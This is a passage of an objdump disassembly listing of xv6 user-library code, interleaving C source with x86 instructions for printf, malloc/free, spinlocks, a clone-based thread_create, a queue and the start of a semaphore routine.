0) a99: 83 6d f4 01 subl $0x1,-0xc(%ebp) a9d: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) aa1: 79 d9 jns a7c <printint+0x8a> putc(fd, buf[i]); } aa3: 83 c4 30 add $0x30,%esp aa6: 5b pop %ebx aa7: 5e pop %esi aa8: 5d pop %ebp aa9: c3 ret 00000aaa <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { aaa: 55 push %ebp aab: 89 e5 mov %esp,%ebp aad: 83 ec 38 sub $0x38,%esp char *s; int c, i, state; uint *ap; state = 0; ab0: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) ap = (uint*)(void*)&fmt + 1; ab7: 8d 45 0c lea 0xc(%ebp),%eax aba: 83 c0 04 add $0x4,%eax abd: 89 45 e8 mov %eax,-0x18(%ebp) for(i = 0; fmt[i]; i++){ ac0: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) ac7: e9 7c 01 00 00 jmp c48 <printf+0x19e> c = fmt[i] & 0xff; acc: 8b 55 0c mov 0xc(%ebp),%edx acf: 8b 45 f0 mov -0x10(%ebp),%eax ad2: 01 d0 add %edx,%eax ad4: 0f b6 00 movzbl (%eax),%eax ad7: 0f be c0 movsbl %al,%eax ada: 25 ff 00 00 00 and $0xff,%eax adf: 89 45 e4 mov %eax,-0x1c(%ebp) if(state == 0){ ae2: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) ae6: 75 2c jne b14 <printf+0x6a> if(c == '%'){ ae8: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) aec: 75 0c jne afa <printf+0x50> state = '%'; aee: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp) af5: e9 4a 01 00 00 jmp c44 <printf+0x19a> } else { putc(fd, c); afa: 8b 45 e4 mov -0x1c(%ebp),%eax afd: 0f be c0 movsbl %al,%eax b00: 89 44 24 04 mov %eax,0x4(%esp) b04: 8b 45 08 mov 0x8(%ebp),%eax b07: 89 04 24 mov %eax,(%esp) b0a: e8 bb fe ff ff call 9ca <putc> b0f: e9 30 01 00 00 jmp c44 <printf+0x19a> } } else if(state == '%'){ b14: 83 7d ec 25 cmpl $0x25,-0x14(%ebp) b18: 0f 85 26 01 00 00 jne c44 <printf+0x19a> if(c == 'd'){ b1e: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp) b22: 75 2d jne b51 <printf+0xa7> printint(fd, *ap, 10, 1); b24: 8b 45 e8 mov -0x18(%ebp),%eax b27: 8b 00 mov (%eax),%eax b29: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp) b30: 00 b31: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp) b38: 00 b39: 89 44 24 04 mov %eax,0x4(%esp) b3d: 8b 45 08 mov 0x8(%ebp),%eax b40: 89 04 24 mov %eax,(%esp) b43: e8 aa fe ff ff call 9f2 <printint> ap++; b48: 83 45 e8 04 addl $0x4,-0x18(%ebp) b4c: e9 ec 00 00 00 jmp c3d <printf+0x193> } else if(c == 'x' || c == 'p'){ b51: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp) b55: 74 06 je b5d <printf+0xb3> b57: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp) b5b: 75 2d jne b8a <printf+0xe0> printint(fd, *ap, 16, 0); b5d: 8b 45 e8 mov -0x18(%ebp),%eax b60: 8b 00 mov (%eax),%eax b62: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp) b69: 00 b6a: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp) b71: 00 b72: 89 44 24 04 mov %eax,0x4(%esp) b76: 8b 45 08 mov 0x8(%ebp),%eax b79: 89 04 24 mov %eax,(%esp) b7c: e8 71 fe ff ff call 9f2 <printint> ap++; b81: 83 45 e8 04 addl $0x4,-0x18(%ebp) b85: e9 b3 00 00 00 jmp c3d <printf+0x193> } else if(c == 's'){ b8a: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp) b8e: 75 45 jne bd5 <printf+0x12b> s = (char*)*ap; b90: 8b 45 e8 mov -0x18(%ebp),%eax b93: 8b 00 mov (%eax),%eax b95: 89 45 f4 mov %eax,-0xc(%ebp) ap++; b98: 83 45 e8 04 addl $0x4,-0x18(%ebp) if(s == 0) b9c: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) ba0: 75 09 jne bab <printf+0x101> s = "(null)"; ba2: c7 45 f4 ab 13 00 00 movl $0x13ab,-0xc(%ebp) while(*s != 0){ ba9: eb 1e jmp bc9 <printf+0x11f> bab: eb 1c jmp bc9 <printf+0x11f> putc(fd, *s); bad: 8b 45 f4 mov -0xc(%ebp),%eax bb0: 0f b6 00 movzbl (%eax),%eax bb3: 0f be c0 movsbl %al,%eax bb6: 89 44 24 04 mov %eax,0x4(%esp) bba: 8b 45 08 mov 0x8(%ebp),%eax bbd: 89 04 24 mov %eax,(%esp) bc0: e8 05 fe ff ff call 9ca <putc> s++; bc5: 83 45 f4 01 addl $0x1,-0xc(%ebp) } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ bc9: 8b 45 f4 mov -0xc(%ebp),%eax bcc: 0f b6 00 movzbl (%eax),%eax bcf: 84 c0 test %al,%al bd1: 75 da jne bad <printf+0x103> bd3: eb 68 jmp c3d <printf+0x193> putc(fd, *s); s++; } } else if(c == 'c'){ bd5: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp) bd9: 75 1d jne bf8 <printf+0x14e> putc(fd, *ap); bdb: 8b 45 e8 mov -0x18(%ebp),%eax bde: 8b 00 mov (%eax),%eax be0: 0f be c0 movsbl %al,%eax be3: 89 44 24 04 mov %eax,0x4(%esp) be7: 8b 45 08 mov 0x8(%ebp),%eax bea: 89 04 24 mov %eax,(%esp) bed: e8 d8 fd ff ff call 9ca <putc> ap++; bf2: 83 45 e8 04 addl $0x4,-0x18(%ebp) bf6: eb 45 jmp c3d <printf+0x193> } else if(c == '%'){ bf8: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) bfc: 75 17 jne c15 <printf+0x16b> putc(fd, c); bfe: 8b 45 e4 mov -0x1c(%ebp),%eax c01: 0f be c0 movsbl %al,%eax c04: 89 44 24 04 mov %eax,0x4(%esp) c08: 8b 45 08 mov 0x8(%ebp),%eax c0b: 89 04 24 mov %eax,(%esp) c0e: e8 b7 fd ff ff call 9ca <putc> c13: eb 28 jmp c3d <printf+0x193> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); c15: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp) c1c: 00 c1d: 8b 45 08 mov 0x8(%ebp),%eax c20: 89 04 24 mov %eax,(%esp) c23: e8 a2 fd ff ff call 9ca <putc> putc(fd, c); c28: 8b 45 e4 mov -0x1c(%ebp),%eax c2b: 0f be c0 movsbl %al,%eax c2e: 89 44 24 04 mov %eax,0x4(%esp) c32: 8b 45 08 mov 0x8(%ebp),%eax c35: 89 04 24 mov %eax,(%esp) c38: e8 8d fd ff ff call 9ca <putc> } state = 0; c3d: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c44: 83 45 f0 01 addl $0x1,-0x10(%ebp) c48: 8b 55 0c mov 0xc(%ebp),%edx c4b: 8b 45 f0 mov -0x10(%ebp),%eax c4e: 01 d0 add %edx,%eax c50: 0f b6 00 movzbl (%eax),%eax c53: 84 c0 test %al,%al c55: 0f 85 71 fe ff ff jne acc <printf+0x22> putc(fd, c); } state = 0; } } } c5b: c9 leave c5c: c3 ret 00000c5d <free>: static Header base; static Header *freep; void free(void *ap) { c5d: 55 push %ebp c5e: 89 e5 mov %esp,%ebp c60: 83 ec 10 sub $0x10,%esp Header *bp, *p; bp = (Header*)ap - 1; c63: 8b 45 08 mov 0x8(%ebp),%eax c66: 83 e8 08 sub $0x8,%eax c69: 89 45 f8 mov %eax,-0x8(%ebp) for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) c6c: a1 94 18 00 00 mov 0x1894,%eax c71: 89 45 fc mov %eax,-0x4(%ebp) c74: eb 24 jmp c9a <free+0x3d> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) c76: 8b 45 fc mov -0x4(%ebp),%eax c79: 8b 00 mov (%eax),%eax c7b: 3b 45 fc cmp -0x4(%ebp),%eax c7e: 77 12 ja c92 <free+0x35> c80: 8b 45 f8 mov -0x8(%ebp),%eax c83: 3b 45 fc cmp -0x4(%ebp),%eax c86: 77 24 ja cac <free+0x4f> c88: 8b 45 fc mov -0x4(%ebp),%eax c8b: 8b 00 mov (%eax),%eax c8d: 3b 45 f8 cmp -0x8(%ebp),%eax c90: 77 1a ja cac <free+0x4f> free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) c92: 8b 45 fc mov -0x4(%ebp),%eax c95: 8b 00 mov (%eax),%eax c97: 89 45 fc mov %eax,-0x4(%ebp) c9a: 8b 45 f8 mov -0x8(%ebp),%eax c9d: 3b 45 fc cmp -0x4(%ebp),%eax ca0: 76 d4 jbe c76 <free+0x19> ca2: 8b 45 fc mov -0x4(%ebp),%eax ca5: 8b 00 mov (%eax),%eax ca7: 3b 45 f8 cmp -0x8(%ebp),%eax caa: 76 ca jbe c76 <free+0x19> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ cac: 8b 45 f8 mov -0x8(%ebp),%eax caf: 8b 40 04 mov 0x4(%eax),%eax cb2: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx cb9: 8b 45 f8 mov -0x8(%ebp),%eax cbc: 01 c2 add %eax,%edx cbe: 8b 45 fc mov -0x4(%ebp),%eax cc1: 8b 00 mov (%eax),%eax cc3: 39 c2 cmp %eax,%edx cc5: 75 24 jne ceb <free+0x8e> bp->s.size += p->s.ptr->s.size; cc7: 8b 45 f8 mov -0x8(%ebp),%eax cca: 8b 50 04 mov 0x4(%eax),%edx ccd: 8b 45 fc mov -0x4(%ebp),%eax cd0: 8b 00 mov (%eax),%eax cd2: 8b 40 04 mov 0x4(%eax),%eax cd5: 01 c2 add %eax,%edx cd7: 8b 45 f8 mov -0x8(%ebp),%eax cda: 89 50 04 mov %edx,0x4(%eax) bp->s.ptr = p->s.ptr->s.ptr; cdd: 8b 45 fc mov -0x4(%ebp),%eax ce0: 8b 00 mov (%eax),%eax ce2: 8b 10 mov (%eax),%edx ce4: 8b 45 f8 mov -0x8(%ebp),%eax ce7: 89 10 mov %edx,(%eax) ce9: eb 0a jmp cf5 <free+0x98> } else bp->s.ptr = p->s.ptr; ceb: 8b 45 fc mov -0x4(%ebp),%eax cee: 8b 10 mov (%eax),%edx cf0: 8b 45 f8 mov -0x8(%ebp),%eax cf3: 89 10 mov %edx,(%eax) if(p + p->s.size == bp){ cf5: 8b 45 fc mov -0x4(%ebp),%eax cf8: 8b 40 04 mov 0x4(%eax),%eax cfb: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx d02: 8b 45 fc mov -0x4(%ebp),%eax d05: 01 d0 add %edx,%eax d07: 3b 45 f8 cmp -0x8(%ebp),%eax d0a: 75 20 jne d2c <free+0xcf> p->s.size += bp->s.size; d0c: 8b 45 fc mov -0x4(%ebp),%eax d0f: 8b 50 04 mov 0x4(%eax),%edx d12: 8b 45 f8 mov -0x8(%ebp),%eax d15: 8b 40 04 mov 0x4(%eax),%eax d18: 01 c2 add %eax,%edx d1a: 8b 45 fc mov -0x4(%ebp),%eax d1d: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; d20: 8b 45 f8 mov -0x8(%ebp),%eax d23: 8b 10 mov (%eax),%edx d25: 8b 45 fc mov -0x4(%ebp),%eax d28: 89 10 mov %edx,(%eax) d2a: eb 08 jmp d34 <free+0xd7> } else p->s.ptr = bp; d2c: 8b 45 fc mov -0x4(%ebp),%eax d2f: 8b 55 f8 mov -0x8(%ebp),%edx d32: 89 10 mov %edx,(%eax) freep = p; d34: 8b 45 fc mov -0x4(%ebp),%eax d37: a3 94 18 00 00 mov %eax,0x1894 } d3c: c9 leave d3d: c3 ret 00000d3e <morecore>: static Header* morecore(uint nu) { d3e: 55 push %ebp d3f: 89 e5 mov %esp,%ebp d41: 83 ec 28 sub $0x28,%esp char *p; Header *hp; if(nu < 4096) d44: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp) d4b: 77 07 ja d54 <morecore+0x16> nu = 4096; d4d: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp) p = sbrk(nu * sizeof(Header)); d54: 8b 45 08 mov 0x8(%ebp),%eax d57: c1 e0 03 shl $0x3,%eax d5a: 89 04 24 mov %eax,(%esp) d5d: e8 28 fc ff ff call 98a <sbrk> d62: 89 45 f4 mov %eax,-0xc(%ebp) if(p == (char*)-1) d65: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp) d69: 75 07 jne d72 <morecore+0x34> return 0; d6b: b8 00 00 00 00 mov $0x0,%eax d70: eb 22 jmp d94 <morecore+0x56> hp = (Header*)p; d72: 8b 45 f4 mov -0xc(%ebp),%eax d75: 89 45 f0 mov %eax,-0x10(%ebp) hp->s.size = nu; d78: 8b 45 f0 mov -0x10(%ebp),%eax d7b: 8b 55 08 mov 0x8(%ebp),%edx d7e: 89 50 04 mov %edx,0x4(%eax) free((void*)(hp + 1)); d81: 8b 45 f0 mov -0x10(%ebp),%eax d84: 83 c0 08 add $0x8,%eax d87: 89 04 24 mov %eax,(%esp) d8a: e8 ce fe ff ff call c5d <free> return freep; d8f: a1 94 18 00 00 mov 0x1894,%eax } d94: c9 leave d95: c3 ret 00000d96 <malloc>: void* malloc(uint nbytes) { d96: 55 push %ebp d97: 89 e5 mov %esp,%ebp d99: 83 ec 28 sub $0x28,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; d9c: 8b 45 08 mov 0x8(%ebp),%eax d9f: 83 c0 07 add $0x7,%eax da2: c1 e8 03 shr $0x3,%eax da5: 83 c0 01 add $0x1,%eax da8: 89 45 ec mov %eax,-0x14(%ebp) if((prevp = freep) == 0){ dab: a1 94 18 00 00 mov 0x1894,%eax db0: 89 45 f0 mov %eax,-0x10(%ebp) db3: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) db7: 75 23 jne ddc <malloc+0x46> base.s.ptr = freep = prevp = &base; db9: c7 45 f0 8c 18 00 00 movl $0x188c,-0x10(%ebp) dc0: 8b 45 f0 mov -0x10(%ebp),%eax dc3: a3 94 18 00 00 mov %eax,0x1894 dc8: a1 94 18 00 00 mov 0x1894,%eax dcd: a3 8c 18 00 00 mov %eax,0x188c base.s.size = 0; dd2: c7 05 90 18 00 00 00 movl $0x0,0x1890 dd9: 00 00 00 } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ ddc: 8b 45 f0 mov -0x10(%ebp),%eax ddf: 8b 00 mov (%eax),%eax de1: 89 45 f4 mov %eax,-0xc(%ebp) if(p->s.size >= nunits){ de4: 8b 45 f4 mov -0xc(%ebp),%eax de7: 8b 40 04 mov 0x4(%eax),%eax dea: 3b 45 ec cmp -0x14(%ebp),%eax ded: 72 4d jb e3c <malloc+0xa6> if(p->s.size == nunits) def: 8b 45 f4 mov -0xc(%ebp),%eax df2: 8b 40 04 mov 0x4(%eax),%eax df5: 3b 45 ec cmp -0x14(%ebp),%eax df8: 75 0c jne e06 <malloc+0x70> prevp->s.ptr = p->s.ptr; dfa: 8b 45 f4 mov -0xc(%ebp),%eax dfd: 8b 10 mov (%eax),%edx dff: 8b 45 f0 mov -0x10(%ebp),%eax e02: 89 10 mov %edx,(%eax) e04: eb 26 jmp e2c <malloc+0x96> else { p->s.size -= nunits; e06: 8b 45 f4 mov -0xc(%ebp),%eax e09: 8b 40 04 mov 0x4(%eax),%eax e0c: 2b 45 ec sub -0x14(%ebp),%eax e0f: 89 c2 mov %eax,%edx e11: 8b 45 f4 mov -0xc(%ebp),%eax e14: 89 50 04 mov %edx,0x4(%eax) p += p->s.size; e17: 8b 45 f4 mov -0xc(%ebp),%eax e1a: 8b 40 04 mov 0x4(%eax),%eax e1d: c1 e0 03 shl $0x3,%eax e20: 01 45 f4 add %eax,-0xc(%ebp) p->s.size = nunits; e23: 8b 45 f4 mov -0xc(%ebp),%eax e26: 8b 55 ec mov -0x14(%ebp),%edx e29: 89 50 04 mov %edx,0x4(%eax) } freep = prevp; e2c: 8b 45 f0 mov -0x10(%ebp),%eax e2f: a3 94 18 00 00 mov %eax,0x1894 return (void*)(p + 1); e34: 8b 45 f4 mov -0xc(%ebp),%eax e37: 83 c0 08 add $0x8,%eax e3a: eb 38 jmp e74 <malloc+0xde> } if(p == freep) e3c: a1 94 18 00 00 mov 0x1894,%eax e41: 39 45 f4 cmp %eax,-0xc(%ebp) e44: 75 1b jne e61 <malloc+0xcb> if((p = morecore(nunits)) == 0) e46: 8b 45 ec mov -0x14(%ebp),%eax e49: 89 04 24 mov %eax,(%esp) e4c: e8 ed fe ff ff call d3e <morecore> e51: 89 45 f4 mov %eax,-0xc(%ebp) e54: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) e58: 75 07 jne e61 <malloc+0xcb> return 0; e5a: b8 00 00 00 00 mov $0x0,%eax e5f: eb 13 jmp e74 <malloc+0xde> nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ e61: 8b 45 f4 mov -0xc(%ebp),%eax e64: 89 45 f0 mov %eax,-0x10(%ebp) e67: 8b 45 f4 mov -0xc(%ebp),%eax e6a: 8b 00 mov (%eax),%eax e6c: 89 45 f4 mov %eax,-0xc(%ebp) return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } e6f: e9 70 ff ff ff jmp de4 <malloc+0x4e> } e74: c9 leave e75: c3 ret 00000e76 <xchg>: asm volatile("sti"); } static inline uint xchg(volatile uint *addr, uint newval) { e76: 55 push %ebp e77: 89 e5 mov %esp,%ebp e79: 83 ec 10 sub $0x10,%esp uint result; // The + in "+m" denotes a read-modify-write operand. asm volatile("lock; xchgl %0, %1" : e7c: 8b 55 08 mov 0x8(%ebp),%edx e7f: 8b 45 0c mov 0xc(%ebp),%eax e82: 8b 4d 08 mov 0x8(%ebp),%ecx e85: f0 87 02 lock xchg %eax,(%edx) e88: 89 45 fc mov %eax,-0x4(%ebp) "+m" (*addr), "=a" (result) : "1" (newval) : "cc"); return result; e8b: 8b 45 fc mov -0x4(%ebp),%eax } e8e: c9 leave e8f: c3 ret 00000e90 <lock_init>: #include "mmu.h" #include "spinlock.h" #include "x86.h" #include "proc.h" void lock_init(lock_t *lock){ e90: 55 push %ebp e91: 89 e5 mov %esp,%ebp lock->locked = 0; e93: 8b 45 08 mov 0x8(%ebp),%eax e96: c7 00 00 00 00 00 movl $0x0,(%eax) } e9c: 5d pop %ebp e9d: c3 ret 00000e9e <lock_acquire>: void lock_acquire(lock_t *lock){ e9e: 55 push %ebp e9f: 89 e5 mov %esp,%ebp ea1: 83 ec 08 sub $0x8,%esp while(xchg(&lock->locked,1) != 0); ea4: 90 nop ea5: 8b 45 08 mov 0x8(%ebp),%eax ea8: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp) eaf: 00 eb0: 89 04 24 mov %eax,(%esp) eb3: e8 be ff ff ff call e76 <xchg> eb8: 85 c0 test %eax,%eax eba: 75 e9 jne ea5 <lock_acquire+0x7> } ebc: c9 leave ebd: c3 ret 00000ebe <lock_release>: void lock_release(lock_t *lock){ ebe: 55 push %ebp ebf: 89 e5 mov %esp,%ebp ec1: 83 ec 08 sub $0x8,%esp xchg(&lock->locked,0); ec4: 8b 45 08 mov 0x8(%ebp),%eax ec7: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) ece: 00 ecf: 89 04 24 mov %eax,(%esp) ed2: e8 9f ff ff ff call e76 <xchg> } ed7: c9 leave ed8: c3 ret 00000ed9 <thread_create>: void *thread_create(void(*start_routine)(void*), void *arg){ ed9: 55 push %ebp eda: 89 e5 mov %esp,%ebp edc: 83 ec 28 sub $0x28,%esp int tid; void * stack = malloc(2 * 4096); edf: c7 04 24 00 20 00 00 movl $0x2000,(%esp) ee6: e8 ab fe ff ff call d96 <malloc> eeb: 89 45 f4 mov %eax,-0xc(%ebp) void *garbage_stack = stack; eee: 8b 45 f4 mov -0xc(%ebp),%eax ef1: 89 45 f0 mov %eax,-0x10(%ebp) // printf(1,"start routine addr : %d\n",(uint)start_routine); if((uint)stack % 4096){ ef4: 8b 45 f4 mov -0xc(%ebp),%eax ef7: 25 ff 0f 00 00 and $0xfff,%eax efc: 85 c0 test %eax,%eax efe: 74 14 je f14 <thread_create+0x3b> stack = stack + (4096 - (uint)stack % 4096); f00: 8b 45 f4 mov -0xc(%ebp),%eax f03: 25 ff 0f 00 00 and $0xfff,%eax f08: 89 c2 mov %eax,%edx f0a: b8 00 10 00 00 mov $0x1000,%eax f0f: 29 d0 sub %edx,%eax f11: 01 45 f4 add %eax,-0xc(%ebp) } if (stack == 0){ f14: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) f18: 75 1b jne f35 <thread_create+0x5c> printf(1,"malloc fail \n"); f1a: c7 44 24 04 b2 13 00 movl $0x13b2,0x4(%esp) f21: 00 f22: c7 04 24 01 00 00 00 movl $0x1,(%esp) f29: e8 7c fb ff ff call aaa <printf> return 0; f2e: b8 00 00 00 00 mov $0x0,%eax f33: eb 6f jmp fa4 <thread_create+0xcb> } tid = clone((uint)stack,PSIZE,(uint)start_routine,(int)arg); f35: 8b 4d 0c mov 0xc(%ebp),%ecx f38: 8b 55 08 mov 0x8(%ebp),%edx f3b: 8b 45 f4 mov -0xc(%ebp),%eax f3e: 89 4c 24 0c mov %ecx,0xc(%esp) f42: 89 54 24 08 mov %edx,0x8(%esp) f46: c7 44 24 04 00 10 00 movl $0x1000,0x4(%esp) f4d: 00 f4e: 89 04 24 mov %eax,(%esp) f51: e8 4c fa ff ff call 9a2 <clone> f56: 89 45 ec mov %eax,-0x14(%ebp) if(tid < 0){ f59: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) f5d: 79 1b jns f7a <thread_create+0xa1> printf(1,"clone fails\n"); f5f: c7 44 24 04 c0 13 00 movl $0x13c0,0x4(%esp) f66: 00 f67: c7 04 24 01 00 00 00 movl $0x1,(%esp) f6e: e8 37 fb ff ff call aaa <printf> return 0; f73: b8 00 00 00 00 mov $0x0,%eax f78: eb 2a jmp fa4 <thread_create+0xcb> } if(tid > 0){ f7a: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) f7e: 7e 05 jle f85 <thread_create+0xac> //store threads on thread table return garbage_stack; f80: 8b 45 f0 mov -0x10(%ebp),%eax f83: eb 1f jmp fa4 <thread_create+0xcb> } if(tid == 0){ f85: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) f89: 75 14 jne f9f <thread_create+0xc6> printf(1,"tid = 0 return \n"); f8b: c7 44 24 04 cd 13 00 movl $0x13cd,0x4(%esp) f92: 00 f93: c7 04 24 01 00 00 00 movl $0x1,(%esp) f9a: e8 0b fb ff ff call aaa <printf> } // wait(); // free(garbage_stack); return 0; f9f: b8 00 00 00 00 mov $0x0,%eax } fa4: c9 leave fa5: c3 ret 00000fa6 <random>: unsigned long rands = 1; // generate 0 -> max random number exclude max. int random(int max){ fa6: 55 push %ebp fa7: 89 e5 mov %esp,%ebp rands = rands * 1664525 + 1013904233; fa9: a1 6c 18 00 00 mov 0x186c,%eax fae: 69 c0 0d 66 19 00 imul $0x19660d,%eax,%eax fb4: 05 69 f3 6e 3c add $0x3c6ef369,%eax fb9: a3 6c 18 00 00 mov %eax,0x186c return (int)(rands % max); fbe: a1 6c 18 00 00 mov 0x186c,%eax fc3: 8b 4d 08 mov 0x8(%ebp),%ecx fc6: ba 00 00 00 00 mov $0x0,%edx fcb: f7 f1 div %ecx fcd: 89 d0 mov %edx,%eax fcf: 5d pop %ebp fd0: c3 ret 00000fd1 <init_q>: #include "queue.h" #include "types.h" #include "user.h" void init_q(struct queue *q){ fd1: 55 push %ebp fd2: 89 e5 mov %esp,%ebp q->size = 0; fd4: 8b 45 08 mov 0x8(%ebp),%eax fd7: c7 00 00 00 00 00 movl $0x0,(%eax) q->head = 0; fdd: 8b 45 08 mov 0x8(%ebp),%eax fe0: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax) q->tail = 0; fe7: 8b 45 08 mov 0x8(%ebp),%eax fea: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax) } ff1: 5d pop %ebp ff2: c3 ret 00000ff3 <add_q>: void add_q(struct queue *q, int v){ ff3: 55 push %ebp ff4: 89 e5 mov %esp,%ebp ff6: 83 ec 28 sub $0x28,%esp struct node * n = malloc(sizeof(struct node)); ff9: c7 04 24 08 00 00 00 movl $0x8,(%esp) 1000: e8 91 fd ff ff call d96 <malloc> 1005: 89 45 f4 mov %eax,-0xc(%ebp) n->next = 0; 1008: 8b 45 f4 mov -0xc(%ebp),%eax 100b: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax) n->value = v; 1012: 8b 45 f4 mov -0xc(%ebp),%eax 1015: 8b 55 0c mov 0xc(%ebp),%edx 1018: 89 10 mov %edx,(%eax) if(q->head == 0){ 101a: 8b 45 08 mov 0x8(%ebp),%eax 101d: 8b 40 04 mov 0x4(%eax),%eax 1020: 85 c0 test %eax,%eax 1022: 75 0b jne 102f <add_q+0x3c> q->head = n; 1024: 8b 45 08 mov 0x8(%ebp),%eax 1027: 8b 55 f4 mov -0xc(%ebp),%edx 102a: 89 50 04 mov %edx,0x4(%eax) 102d: eb 0c jmp 103b <add_q+0x48> }else{ q->tail->next = n; 102f: 8b 45 08 mov 0x8(%ebp),%eax 1032: 8b 40 08 mov 0x8(%eax),%eax 1035: 8b 55 f4 mov -0xc(%ebp),%edx 1038: 89 50 04 mov %edx,0x4(%eax) } q->tail = n; 103b: 8b 45 08 mov 0x8(%ebp),%eax 103e: 8b 55 f4 mov -0xc(%ebp),%edx 1041: 89 50 08 mov %edx,0x8(%eax) q->size++; 1044: 8b 45 08 mov 0x8(%ebp),%eax 1047: 8b 00 mov (%eax),%eax 1049: 8d 50 01 lea 0x1(%eax),%edx 104c: 8b 45 08 mov 0x8(%ebp),%eax 104f: 89 10 mov %edx,(%eax) } 1051: c9 leave 1052: c3 ret 00001053 <empty_q>: int empty_q(struct queue *q){ 1053: 55 push %ebp 1054: 89 e5 mov %esp,%ebp if(q->size == 0) 1056: 8b 45 08 mov 0x8(%ebp),%eax 1059: 8b 00 mov (%eax),%eax 105b: 85 c0 test %eax,%eax 105d: 75 07 jne 1066 <empty_q+0x13> return 1; 105f: b8 01 00 00 00 mov $0x1,%eax 1064: eb 05 jmp 106b <empty_q+0x18> else return 0; 1066: b8 00 00 00 00 mov $0x0,%eax } 106b: 5d pop %ebp 106c: c3 ret 0000106d <pop_q>: int pop_q(struct queue *q){ 106d: 55 push %ebp 106e: 89 e5 mov %esp,%ebp 1070: 83 ec 28 sub $0x28,%esp int val; struct node *destroy; if(!empty_q(q)){ 1073: 8b 45 08 mov 0x8(%ebp),%eax 1076: 89 04 24 mov %eax,(%esp) 1079: e8 d5 ff ff ff call 1053 <empty_q> 107e: 85 c0 test %eax,%eax 1080: 75 5d jne 10df <pop_q+0x72> val = q->head->value; 1082: 8b 45 08 mov 0x8(%ebp),%eax 1085: 8b 40 04 mov 0x4(%eax),%eax 1088: 8b 00 mov (%eax),%eax 108a: 89 45 f4 mov %eax,-0xc(%ebp) destroy = q->head; 108d: 8b 45 08 mov 0x8(%ebp),%eax 1090: 8b 40 04 mov 0x4(%eax),%eax 1093: 89 45 f0 mov %eax,-0x10(%ebp) q->head = q->head->next; 1096: 8b 45 08 mov 0x8(%ebp),%eax 1099: 8b 40 04 mov 0x4(%eax),%eax 109c: 8b 50 04 mov 0x4(%eax),%edx 109f: 8b 45 08 mov 0x8(%ebp),%eax 10a2: 89 50 04 mov %edx,0x4(%eax) free(destroy); 10a5: 8b 45 f0 mov -0x10(%ebp),%eax 10a8: 89 04 24 mov %eax,(%esp) 10ab: e8 ad fb ff ff call c5d <free> q->size--; 10b0: 8b 45 08 mov 0x8(%ebp),%eax 10b3: 8b 00 mov (%eax),%eax 10b5: 8d 50 ff lea -0x1(%eax),%edx 10b8: 8b 45 08 mov 0x8(%ebp),%eax 10bb: 89 10 mov %edx,(%eax) if(q->size == 0){ 10bd: 8b 45 08 mov 0x8(%ebp),%eax 10c0: 8b 00 mov (%eax),%eax 10c2: 85 c0 test %eax,%eax 10c4: 75 14 jne 10da <pop_q+0x6d> q->head = 0; 10c6: 8b 45 08 mov 0x8(%ebp),%eax 10c9: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax) q->tail = 0; 10d0: 8b 45 08 mov 0x8(%ebp),%eax 10d3: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax) } return val; 10da: 8b 45 f4 mov -0xc(%ebp),%eax 10dd: eb 05 jmp 10e4 <pop_q+0x77> } return -1; 10df: b8 ff ff ff ff mov $0xffffffff,%eax } 10e4: c9 leave 10e5: c3 ret 000010e6 <sem_init>: #include "types.h" #include "user.h" #include "semaphore.h" void sem_init(struct semaphore *s, int size){ 10e6: 55 push %ebp 10e7: 89 e5 mov %esp,%ebp 10e9: 83 ec 18 sub $0x18,%esp s->size = size; 10ec: 8b 45 08 mov 0x8(%ebp),%eax 10ef: 8b 55 